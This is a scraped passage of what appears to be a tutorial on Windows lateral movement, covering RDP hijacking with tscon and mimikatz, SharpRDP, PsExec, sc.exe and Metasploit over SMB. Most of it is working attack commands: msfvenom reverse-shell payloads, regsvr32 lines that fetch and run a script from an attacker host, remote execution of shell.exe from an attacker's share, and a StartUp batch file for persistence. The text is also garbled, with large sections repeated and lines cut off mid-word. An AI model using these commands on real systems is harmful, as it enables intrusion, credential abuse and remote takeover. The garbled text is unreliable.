Task manager would now ask for the credentials for user hex
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhOL1KvSBTPA7VWHj-vFpl8WZheO3AQ8RWNJKUwjtPGlkXarXB7UOGTPanni_zc77neoPokrj5yMEpnrkazzEbKZCSW3dXeuN_spIO5jnDFK8WnDU5N5MVgBp9y21lbe6aFwmibwBhpTn6D0SyzUogMuvVEkNw8Yt1uXpcG-qgtCr3O8j2K_SHVxxHQAQ/s16000/3.png?w=640&ssl=1
You’d be successfully connected to hex now. As it can be confirmed in cmd
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglIxlueqtXN4zDUoDORnryr9mfxhRtBpgwRxoC1Vi5gEfMfnsf1QO-zkCd_FY1XEliDDR1uN9dLdr2ppdg_Q2C6z-FFTuLLQG9LFlcB2pHfVEpKRXhkuhZPBUKxsdgA38f0kM5CY8zxPFHl7HQGWpAW_jQiRpf1RszJBDwmInuRkFyX_K62DH5CN5nwA/s16000/4.png?w=640&ssl=1
RDP Hijacking using Tscon
tscon is a Microsoft Windows utility that was introduced the release of Windows Server 2012. It is used to connect to another session on a Remote Desktop Session Host server. It requires the destination and the session id to work. The User credentials can also be passed as parameters in tscon. Read more about it here.
Now the interesting thing is, if you have managed to achieve SYSTEM level permissions (NT AUTHORITY\SYSTEM), you could switch RDP sessions using tscon without needing password. This worked on older versions of Windows 10 flawlessly. In newer versions, there is still a need for passwords.
So, we first achieve NT AUTHORITY\SYSTEM on our compromised system using psexec and then see interactive sessions. We switch to the desired session (number 3 here) and use /DEST switch to switch current connection (rdp-tcp#9) with the user in 3rd session.
whoami
psexec64.exe -s cmd
whoami
query user
cmd /k tscon 3 /DEST:rdp-tcp#9
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiR326WYaKMMD0mTHM4wdWejoNGaDT05rM3T8J2rSzJgpwuI7mqL-UI1jHe7AOg643hyK2bB9ieuGEpx92_RSu849B-T90AEh6upm6XkYMXhPlf-WIMeQtg3wUrN5AVyA6KJ-axFr_Ix4KG5jM5HXQIJ2dNtB2eMANxO0j98C7S-tki05FEo-3L0gehQw/s16000/5.png?w=640&ssl=1
It will immediately open a new user “hex” in the same Remote Desktop Connection! This can be verified by whoami
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdbDxe9AfbBr_ofCuAkIAuh2V7r5ibgLzFouT5mB7gkiK7hM5k93WQ0PFqFsoiPQpqRGNRuk6O7TFiPdwvpQA_7xKAgm7TCTKuSWiHyoUQuVgVc_BunPFa5l1H7cb9D65eMk1hizsN4PlntKlD7EWf5be28LVYZZdsUWXWVGKQCOkIA7FxEssxQc77jQ/s16000/6.png?w=640&ssl=1
RDP Hijacking using Mimikatz
Mimikatz includes a module “ts” to play with RDP sessions. It is an implementation of tscon only with added features of mimikatz. We can see active user sessions using
ts::sessions
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXUsKIuox50VQD0kpqSvOqqw0zP1zEp2mFxHtH1p_GizC0Q-bFTR_9kpn9kdaYY_ZmkPEf2F_j7v4RisWVsocc6oqpXsFKkcNfK3H3sNBoc6iVs7MtB6Z8yCGAZ8uFvrl4rIEiBsCdTnOIrAsA9GYqsWBVU-AEeaGuYwBwO4eX5ADaddiSO_UsyGh-Tw/s16000/7.png?w=640&ssl=1
We have a disconnected user hex on session ID 3. Let’s connect to it. What we did using psexec, mimikatz does it automatically by using token impersonation to elevate privileges.
privilege::debug
token::elevate
ts::remote /id:3
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4JX5G2XMtXbPPgEt7WW9un2I5tQ2hZwtX6YxXhk20HDIptBpKPMMlIOCci4XHxo4aoE_F_PhF48e0f58jU0bcOSidHC1qg8EvaGuouO55qq1mPYDNrRH-n_6yH6PnyUJhHH4XdHKYyfXnCZUlxi5rZ6lJEkQta[...]
Hacking Articles Tips Tricks Videos Tutorials
go to users-> you’d see this if a user “hex” is signed out currently but exists. https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj8UwTnXTVBDoJIjvbmNR2wVOpyBjxZoHi2H3efnroI-nXxB7kUsFN-yaVec8VGkog8a6Ps86vnXrKhb9O8cVeYz0qhExKwBAwnnoTUkSgL…
kQAbexMM7HMk1mkj7RPLlLacgzt8w/s16000/8.png?w=640&ssl=1
And then you’d be presented with user “hex’s” remote desktop!
SharpRDP Authenticated Command Execution
0xthirteen developed the SharpRDP tool which provides various methods and techniques for authenticated command execution using RDP as a service. This method won’t include hijacking over remote sessions, rather, using logon information to provide code execution. It does so this by utilising COM library and mstscax.dll. Read more here.
First, we will create a payload
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.89 lport=1337 -f exe > shell.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggHg_X5dOHz3Hkk3bYo_sMTyXVHhRVHlnJnmpqcdtBqODAAaVXsQHTsKH-tQ7p5h4lLx5Vxe92QE7u_9PMHqTWm3VXIDT_dZygPUeFOeGtsyk0H3BLXNOBL1be-5kR2_6TXOrNWLvcFnl-EuMRaBuBop-NzRQ4k5iFhRUxU-stybBI69zMkJ5I6JjG9Q/s16000/9.png?w=640&ssl=1
Next, we will host this file in our SMB share. We can set up a share manually or use Impacket’s smbserver to set up a temporary share with the name “sharename”
smbserver.py sharename /root
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC9bh_H1wrY8lbGBSQlWoJhmGqfSiWinQDehTPaidsqrJOkuyKFUR1qtU75SX46Cr1Y-2q8f11oDqc7FZoaD7F3gf61uT05M7542XN38NwV7aF4rNWfd7O10Kxvu73Un7a1rx70ljvnUxkrwVQBSoaNnk9dLVEMYcNFuwx2ELwjbf_3eGcihqPgx_yIQ/s16000/10.png?w=640&ssl=1
Now, using the credentials available to us of a remote user Administrator, we can use SharpRDP to execute this EXE file by providing in the UNC Path below
SharpRDP.exe computername=DESKTOP-9GSGK09 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe username=Administrator password=123
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf49V7jMLReod22fWKQ8vsDNG2Lj4TQFCqYAAFFN-JFwN3Avd3E-MRePegVtOFx84Vn4Qi5tZWAJ38d4-gQM2p9-RSFd2CdQXjaXTcEUM6y3XAUcuN66yw_AGgwllvl5PQ4svnbNO2RRhxWymZB5otyMGf52_vTJQ-LVl_QG0HQ7wmtAp5Q90CyNoRbQ/s16000/11.png?w=640&ssl=1
As you can see, the remote server hit our SMB Server and fetched the file
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6El22qXnm1_ebS4-KW9ICUw3lnFLPcoBS7Ux4Gv9sDbjExsJQJdsXlkJQ4ntoXhkIva5GWBpg_18eaD1SspmzdvlwKSfDWXSS10QIonlnKsBgL28gSafH2NfvvLDGYoAObxzccxiBqHHqtqTa0H2rsz-PiLxZiOvLnVeedBGlY2LO3WbBU3qw1v95xg/s16000/12.png?w=640&ssl=1
We have moved laterally successfully this way!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSm7nTtCiBs1aRITp1ZuxiSBAu2N_vEATZMub83ZvVcqGQbLncJX01h5nzVv-NCr5XngIkvYjBARkfm6LRJKoJwY2xnXS1NezJaAWKr6OXbu33zSU4WZv2CHCbuyttzZb38Xjs9IHGx2fWPZfznnjIpBPLPQSkpshoKf8hEmBgRkNdmOaWlbXzxqw1nQ/s16000/13.png?w=640&ssl=1 Lateral Movement through SMB (T1021.002)SMB is one of the most widely used network protocol that allows users to communicate with remote systems across a network. Generally, it is used for sharing files, printers but by utilising writeable shares, it can be used to conduct command execution, and eventually lateral movement.
PsExec SMB RCE
Many tools like psexec utilise SMB to conduct authenticated command execution. According to Microsoft, “PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec’s most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems.” First, let’s use impacket’s smbserver to create a local SMB share that will host our malicious file. This file will eventually be written on remote systems and executed to gain movement.
smbserver.py sharename /root
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTTSqg15bXzN38wDkE-5LIjGbkGTX7uLFI1YkUY_qrKr6FT1-x6NBd3vte1rCXPf97uPje18Z6dnmV93L5iqxIWeE7PATbuuxxQ66aoDV2JJNvErk13QtV26_C_Dxm98mfJxKnb5pBK1KCXFgreu4UG3CM5vXWKmJtCfgLx1XS5S36lZZk-458Rw2Ufw/s16000/15.png?w=64[...]
And then you’d be presented with user “hex’s” remote desktop!
SharpRDP Authenticated Command Execution
0xthirteen developed the SharpRDP tool which provides various methods and techniques for authenticated command execution using RDP as a service. This method won’t include hijacking over remote sessions, rather, using logon information to provide code execution. It does so this by utilising COM library and mstscax.dll. Read more here.
First, we will create a payload
msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.89 lport=1337 -f exe > shell.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggHg_X5dOHz3Hkk3bYo_sMTyXVHhRVHlnJnmpqcdtBqODAAaVXsQHTsKH-tQ7p5h4lLx5Vxe92QE7u_9PMHqTWm3VXIDT_dZygPUeFOeGtsyk0H3BLXNOBL1be-5kR2_6TXOrNWLvcFnl-EuMRaBuBop-NzRQ4k5iFhRUxU-stybBI69zMkJ5I6JjG9Q/s16000/9.png?w=640&ssl=1
Next, we will host this file in our SMB share. We can set up a share manually or use Impacket’s smbserver to set up a temporary share with the name “sharename”
smbserver.py sharename /root
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhC9bh_H1wrY8lbGBSQlWoJhmGqfSiWinQDehTPaidsqrJOkuyKFUR1qtU75SX46Cr1Y-2q8f11oDqc7FZoaD7F3gf61uT05M7542XN38NwV7aF4rNWfd7O10Kxvu73Un7a1rx70ljvnUxkrwVQBSoaNnk9dLVEMYcNFuwx2ELwjbf_3eGcihqPgx_yIQ/s16000/10.png?w=640&ssl=1
Now, using the credentials available to us of a remote user Administrator, we can use SharpRDP to execute this EXE file by providing in the UNC Path below
SharpRDP.exe computername=DESKTOP-9GSGK09 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe username=Administrator password=123
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgf49V7jMLReod22fWKQ8vsDNG2Lj4TQFCqYAAFFN-JFwN3Avd3E-MRePegVtOFx84Vn4Qi5tZWAJ38d4-gQM2p9-RSFd2CdQXjaXTcEUM6y3XAUcuN66yw_AGgwllvl5PQ4svnbNO2RRhxWymZB5otyMGf52_vTJQ-LVl_QG0HQ7wmtAp5Q90CyNoRbQ/s16000/11.png?w=640&ssl=1
As you can see, the remote server hit our SMB Server and fetched the file
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh6El22qXnm1_ebS4-KW9ICUw3lnFLPcoBS7Ux4Gv9sDbjExsJQJdsXlkJQ4ntoXhkIva5GWBpg_18eaD1SspmzdvlwKSfDWXSS10QIonlnKsBgL28gSafH2NfvvLDGYoAObxzccxiBqHHqtqTa0H2rsz-PiLxZiOvLnVeedBGlY2LO3WbBU3qw1v95xg/s16000/12.png?w=640&ssl=1
We have moved laterally successfully this way!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSm7nTtCiBs1aRITp1ZuxiSBAu2N_vEATZMub83ZvVcqGQbLncJX01h5nzVv-NCr5XngIkvYjBARkfm6LRJKoJwY2xnXS1NezJaAWKr6OXbu33zSU4WZv2CHCbuyttzZb38Xjs9IHGx2fWPZfznnjIpBPLPQSkpshoKf8hEmBgRkNdmOaWlbXzxqw1nQ/s16000/13.png?w=640&ssl=1 Lateral Movement through SMB (T1021.002)SMB is one of the most widely used network protocol that allows users to communicate with remote systems across a network. Generally, it is used for sharing files, printers but by utilising writeable shares, it can be used to conduct command execution, and eventually lateral movement.
PsExec SMB RCE
Many tools like psexec utilise SMB to conduct authenticated command execution. According to Microsoft, “PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec’s most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems.” First, let’s use impacket’s smbserver to create a local SMB share that will host our malicious file. This file will eventually be written on remote systems and executed to gain movement.
smbserver.py sharename /root
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTTSqg15bXzN38wDkE-5LIjGbkGTX7uLFI1YkUY_qrKr6FT1-x6NBd3vte1rCXPf97uPje18Z6dnmV93L5iqxIWeE7PATbuuxxQ66aoDV2JJNvErk13QtV26_C_Dxm98mfJxKnb5pBK1KCXFgreu4UG3CM5vXWKmJtCfgLx1XS5S36lZZk-458Rw2Ufw/s16000/15.png?w=64[...]
Hacking Articles Tips Tricks Videos Tutorials
kQAbexMM7HMk1mkj7RPLlLacgzt8w/s16000/8.png?w=640&ssl=1 And then you’d be presented with user “hex’s” remote desktop! SharpRDP Authenticated Command Execution 0xthirteen developed the SharpRDP tool which provides various methods and techniques for authenticated…
0&ssl=1
Thereafter, we will now create a malicious file using msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1337 -f exe > shell.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoEybnTFs0zgFlm6dIHN-MiHo2NSj7RZBwIUNYPM4didelZ8JZ1avkfmBhnxSwbvoGfcsNz23oY4TWGBam5sfKQI3grbwz1KGXYHBco00T6MtmBJmFWTGT-bdZJeCah_GsT9CqXq2NMUo7XNhFfYUl5Bda02eWgdj5kye8wZ4HvLZsOrNmU9YKQR_oHQ/s16000/16.png?w=640&ssl=1
Now, we will use the compromised system and upload psexec64.exe in it. Then, we will use the following command to launch our malicious file in the host specified.
psexec64.exe \\DESKTOP-9GSGK09 -u hex -p 123 cmd.exe /c \\192.168.0.89\sharename\shell.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgakf4I9DoJkuGi_WnH76nxMfDzb9B7js8XXBgukLBIAGCjW9XtP6YfJ9zaUo3UFVghONQtUTiutfMIJOxcxJdDZjq6deQzxAQTppqqMa59uEADJVfBI6IhYDzajEYNosz--yW3EM6EnEk9OG8HrNsf9s41V1H2tSLmwWVx8FziQEpX97FutHad09_lyA/s16000/17.png?w=640&ssl=1
As you can see, hex has reached our smb share and fetched the file
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqNlGiyck0fBKUEuZE4_eltP9fj1vjtw91zF0MegOqH3yGQuPBLbvIUi0hm5OiW8ohGVjL9wUy5OYYu3L-jTUy0_gzcMkdQJx3URDpMXfaJQzZ8ZcaIPvwI6FIAvpMrKsgMtyfy9kisyOcv2jpAF94eS6C5v1Bc4wTsIdbNcMlKkh5kpV5FqsB4mbPDg/s16000/18.png?w=640&ssl=1
And hence, we have successfully received a reverse shell back!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoynJY6etbah8L3YpMzU9KMi3k-BtYe6FaoRbHTRI6kpIv701UXPA6sVuEy5Qkxqgs6LJ0dKGP29SBYARYvWtjNgjpOmQnAUBYJLInJYrCcp3zEp_fvT_bi89r1eZ28mKLxMn7AV9VIA6NycBMuaNftHzJPu-KaT2aa9u2yiD0EtPUv2QRZ9BpIuUxgw/s16000/19.png?w=640&ssl=1
Sc.exe process creation
sc.exe is a command-line tool that comes bundled with Windows and offers the functionality to maintain and administer Windows NT services. This is a non-essential system process, however, it can be used to create processes and execute DLLs in them. Here, we will create a process “ignite” and use regsvr method to define the executing DLL within that process.
First, let’s set up our handler and generate regsvr code using Metasploit.
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwx0Fj0Scnu-7dVKa_korORxjkyG2IEyE_TpwU-j3YHyHLCmUJl0LTlTJ74E1sJLeH2GUhoddNdR0dXQ8-nG7BgPcBSWCPAvgApPqGH_auMqe1OG6DLwI1s173PD7fOfBroLML1LBgA85eUWle8TuPaKSwVc0D6uMoXYYdKdz38_e9BvjWmNFXFwUw_w/s16000/20.png?w=640&ssl=1
Now, the regsvr code that we obtained can be included within the sc.exe binpath command. The following command creates a process ignite with the above code in it. It then starts the same. Please note that “DESKTOP-9GSGKO9” is the destination windows system, where the code is to be executed.
sc \\DESKTOP-9GSGKO9 create ignite binpath= "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/nGU8JQ0b9OjF.sct scrobj.dll"
sc \\DESKTOP-9GSGKO9 start ignite
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZW8puxBbpVODwXt0z4gIJZoiGZdnJxd_3WV4ucEnvGdrRY40en5yfGXCJ2CMIKpjfKkjxbCHJMw8ouN_MtKOxexpYBVZTY5L376clTIv4ykn397y2UqqyVii2m0XVEGYPenhUDoLC1-IZbAnXezRTmNrmd8YojNgV2-EYv8_3Y4rkvV1jH9hrXZsDIw/s16000/21.png?w=640&ssl=1
As you can see, a service start failed error has been obtained but that is because the DLL we provided isn’t a valid one. It would still execute our DLL and give us a reverse shell! Here, we had the Admin authority over the writeable shares in the remote system so we received an NT AUTHORITY\SYSTEM privilege but depending on the rights you have, this may vary.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIS6MiDjaExhEcD40sRz0d8dQqUWQ5DG2TahGNWebHxRAfA8_IBU0I3K5qnLxV84pi21sjH7ZOLoE7yD9WMXv4mO2uOf0Si1FdFxDDwbnR0OSEZhHTz6Om8Led6c7VnqQKE9hVOewTFIOiEGy2Oy3R2zLb5eLdWeKcZTptItOj8Tmny-K6d6qsxAsJAw/s16000/22.png?w=640&ssl=1
Metasploit SMB Remote [...]
Thereafter, we will now create a malicious file using msfvenom
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1337 -f exe > shell.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoEybnTFs0zgFlm6dIHN-MiHo2NSj7RZBwIUNYPM4didelZ8JZ1avkfmBhnxSwbvoGfcsNz23oY4TWGBam5sfKQI3grbwz1KGXYHBco00T6MtmBJmFWTGT-bdZJeCah_GsT9CqXq2NMUo7XNhFfYUl5Bda02eWgdj5kye8wZ4HvLZsOrNmU9YKQR_oHQ/s16000/16.png?w=640&ssl=1
Now, we will use the compromised system and upload psexec64.exe in it. Then, we will use the following command to launch our malicious file in the host specified.
psexec64.exe \\DESKTOP-9GSGK09 -u hex -p 123 cmd.exe /c \\192.168.0.89\sharename\shell.exe
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgakf4I9DoJkuGi_WnH76nxMfDzb9B7js8XXBgukLBIAGCjW9XtP6YfJ9zaUo3UFVghONQtUTiutfMIJOxcxJdDZjq6deQzxAQTppqqMa59uEADJVfBI6IhYDzajEYNosz--yW3EM6EnEk9OG8HrNsf9s41V1H2tSLmwWVx8FziQEpX97FutHad09_lyA/s16000/17.png?w=640&ssl=1
As you can see, hex has reached our smb share and fetched the file
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqNlGiyck0fBKUEuZE4_eltP9fj1vjtw91zF0MegOqH3yGQuPBLbvIUi0hm5OiW8ohGVjL9wUy5OYYu3L-jTUy0_gzcMkdQJx3URDpMXfaJQzZ8ZcaIPvwI6FIAvpMrKsgMtyfy9kisyOcv2jpAF94eS6C5v1Bc4wTsIdbNcMlKkh5kpV5FqsB4mbPDg/s16000/18.png?w=640&ssl=1
And hence, we have successfully received a reverse shell back!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoynJY6etbah8L3YpMzU9KMi3k-BtYe6FaoRbHTRI6kpIv701UXPA6sVuEy5Qkxqgs6LJ0dKGP29SBYARYvWtjNgjpOmQnAUBYJLInJYrCcp3zEp_fvT_bi89r1eZ28mKLxMn7AV9VIA6NycBMuaNftHzJPu-KaT2aa9u2yiD0EtPUv2QRZ9BpIuUxgw/s16000/19.png?w=640&ssl=1
Sc.exe process creation
sc.exe is a command-line tool that comes bundled with Windows and offers the functionality to maintain and administer Windows NT services. This is a non-essential system process, however, it can be used to create processes and execute DLLs in them. Here, we will create a process “ignite” and use regsvr method to define the executing DLL within that process.
First, let’s set up our handler and generate regsvr code using Metasploit.
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwx0Fj0Scnu-7dVKa_korORxjkyG2IEyE_TpwU-j3YHyHLCmUJl0LTlTJ74E1sJLeH2GUhoddNdR0dXQ8-nG7BgPcBSWCPAvgApPqGH_auMqe1OG6DLwI1s173PD7fOfBroLML1LBgA85eUWle8TuPaKSwVc0D6uMoXYYdKdz38_e9BvjWmNFXFwUw_w/s16000/20.png?w=640&ssl=1
Now, the regsvr code that we obtained can be included within the sc.exe binpath command. The following command creates a process ignite with the above code in it. It then starts the same. Please note that “DESKTOP-9GSGKO9” is the destination windows system, where the code is to be executed.
sc \\DESKTOP-9GSGKO9 create ignite binpath= "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/nGU8JQ0b9OjF.sct scrobj.dll"
sc \\DESKTOP-9GSGKO9 start ignite
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZW8puxBbpVODwXt0z4gIJZoiGZdnJxd_3WV4ucEnvGdrRY40en5yfGXCJ2CMIKpjfKkjxbCHJMw8ouN_MtKOxexpYBVZTY5L376clTIv4ykn397y2UqqyVii2m0XVEGYPenhUDoLC1-IZbAnXezRTmNrmd8YojNgV2-EYv8_3Y4rkvV1jH9hrXZsDIw/s16000/21.png?w=640&ssl=1
As you can see, a service start failed error has been obtained but that is because the DLL we provided isn’t a valid one. It would still execute our DLL and give us a reverse shell! Here, we had the Admin authority over the writeable shares in the remote system so we received an NT AUTHORITY\SYSTEM privilege but depending on the rights you have, this may vary.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIS6MiDjaExhEcD40sRz0d8dQqUWQ5DG2TahGNWebHxRAfA8_IBU0I3K5qnLxV84pi21sjH7ZOLoE7yD9WMXv4mO2uOf0Si1FdFxDDwbnR0OSEZhHTz6Om8Led6c7VnqQKE9hVOewTFIOiEGy2Oy3R2zLb5eLdWeKcZTptItOj8Tmny-K6d6qsxAsJAw/s16000/22.png?w=640&ssl=1
Metasploit SMB Remote [...]
Hacking Articles Tips Tricks Videos Tutorials
0&ssl=1 Thereafter, we will now create a malicious file using msfvenom msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1337 -f exe > shell.exe https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoEybnTFs0zgFlm6dIHN-…
PsExec
A Metasploit psexec module exists which can compromise a remote system if SMB is reachable on the target and the credentials provided are valid. Here, lets say we obtained SMB credentials Administrator:123, we can use these credentials across the network and compromise other systems with the same set of credentials. Here, you can see, we set the payload to be a meterpreter one and upon successful execution, we have received a web shell!
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.0.119
set SMBUSER Administrator
set SMBPASS 123
set LHOST 192.168.0.89
set LPORT 4444
exploit
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgW-al9jtzhlYyny5z_am6yf8q7NaItKgIdCi6JY8N1TqT_eIgXSnH0JS5rYXcB5kh-Vx4_ELMjBNhnXhUoHflv6K-HUML1A9W3WR_qRAzH9m9nZH3lS8bJG02dKuZgNV_BM5Tqai8Ivap2FkGUky6RCl1qcJ7UmuWh2mF3ALAL1jxbPgdUN8AItWQsg/s16000/23.png?w=640&ssl=1
Cmd.exe SMB RCE
Cmd.exe in Windows is also capable of executing commands on a remote system if the user has write access on critical shares like C$, ADMIN$ etc, cmd.exe can copy a file to locations like C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp and gain persistence in conjunction with lateral movement.
However, in this example, we will just run a simple regsvr command and write its output to a file called ignite in ADMIN$ share demonstrating the write capability of the command.
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7KKQ2AwR6bn3Ka5EDCN78bvPtmu79BL_RX0dbdmLbiwJKyO-aLlAE7ULwqUXeDA1hpVHbSWl423gq4OKOG31a6D_uG-DreCX-pHCQz7LaDjCALIIkYA0W6y3F0rllqB9b-hm_wv0doRHz1F3cXCcZBYy3vYDS7NQhACVD4MpmH8v4u7t9ijylu9E5mg/s16000/24.png?w=640&ssl=1
Now we run this using cmd.exe
cmd.exe /Q /c "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/jqVdIASVxjl4T.sct scrobj.dll" 1> \\127.0.0.1\ADMIN$\ignite 2>&1
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5O2F4vuRHjOSR0ZkvCLsSXgNMfuhS_B2TiNFu6d3pQP3GAGBEQNq7okoaufJtlR0tzJNB2GMv5HziScc9KDI8QfjoVj_aNz8lpQejE66U38GfZRCaZu66a_dLzQyx9I-_qpC4uBIWaAuj0bvCCe9eb-iD2JxyJrL3YEK0rmlHL3aMSH_LUM7f6Z4IJw/s16000/25.png?w=640&ssl=1
This gives us a reverse shell!
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7cFC3rNDJ6o0VBGb05xJ0QARo9DblCZoLYctgLGxcCdpr-Y_bCsR0lh2BfdExU5AmZh1ixmF-EChoCKDBo8JKpmAf1thZKbStuqapaivm2lmGpQ2cp5yQAwd6fCa9HKLV8E-fwoBoFMCep-BvEDJpMfMY7FDiS8hYo2h0-hZfauMxbKKuLhniukiKkw/s16000/26.png?w=640&ssl=1
As you can see, the output file has been created in the remote share we specified. Though there was no output so the file is empty, but it got created.
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgOyX9QEy0-KvU0hXBdbHPHHdV698Uh_rTzZ_7mwUWYIcFFgHCLEAIEMfumwOvIVUqXEfRmCLIhSKC2pEguO_9AP_j64Jz-mC3oXQycui6hhc6UEYj2y50xW4snS4ua_ZV8OyuOXD_Ca0o5jCC6liPx2dR4dhdatUT5XJU353-LYgsEhEyb9wqxYnrjcA/s16000/27.png?w=640&ssl=1
Another example of this could be to write a bat file in a remote share of victim 192.168.0.120 which would save our payload execution command in StartUp and this will be executed next time system restarts.
cmd.exe /Q /c "echo ‘cmd.exe /c \\192.168.0.89\sharename\shell.exe’" 1> \\192.168.0.120\C$\ ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ignite.bat 2>&1
SharpMove.exe SMB RCE
0xthirteen has developed a C# script called SharpMove which utilizes many different remote services to conduct code execution. It can use an SMB share on a remote system to execute code. It can also try and disable AMSI as an added bonus. In this example, we will modify an existing service by entering our own code in it. We just created a service called “ignite” while demonstrating sc.exe, let’s modify that service. Execution on system with hostname “DESKTOP-9GSGK09” can be achieved like so:
SharpMove.exe action=modsvc compute[...]
A Metasploit psexec module exists which can compromise a remote system if SMB is reachable on the target and the credentials provided are valid. Here, lets say we obtained SMB credentials Administrator:123, we can use these credentials across the network and compromise other systems with the same set of credentials. Here, you can see, we set the payload to be a meterpreter one and upon successful execution, we have received a web shell!
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.0.119
set SMBUSER Administrator
set SMBPASS 123
set LHOST 192.168.0.89
set LPORT 4444
exploit
https://i0.wp.com/blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjgW-al9jtzhlYyny5z_am6yf8q7NaItKgIdCi6JY8N1TqT_eIgXSnH0JS5rYXcB5kh-Vx4_ELMjBNhnXhUoHflv6K-HUML1A9W3WR_qRAzH9m9nZH3lS8bJG02dKuZgNV_BM5Tqai8Ivap2FkGUky6RCl1qcJ7UmuWh2mF3ALAL1jxbPgdUN8AItWQsg/s16000/23.png?w=640&ssl=1
Cmd.exe SMB RCE
Cmd.exe in Windows is also capable of executing commands on a remote system if the user has write access on critical shares like C$, ADMIN$ etc, cmd.exe can copy a file to locations like C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp and gain persistence in conjunction with lateral movement.
However, in this example, we will just run a simple regsvr command and write its output to a file called ignite in ADMIN$ share demonstrating the write capability of the command.
use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run
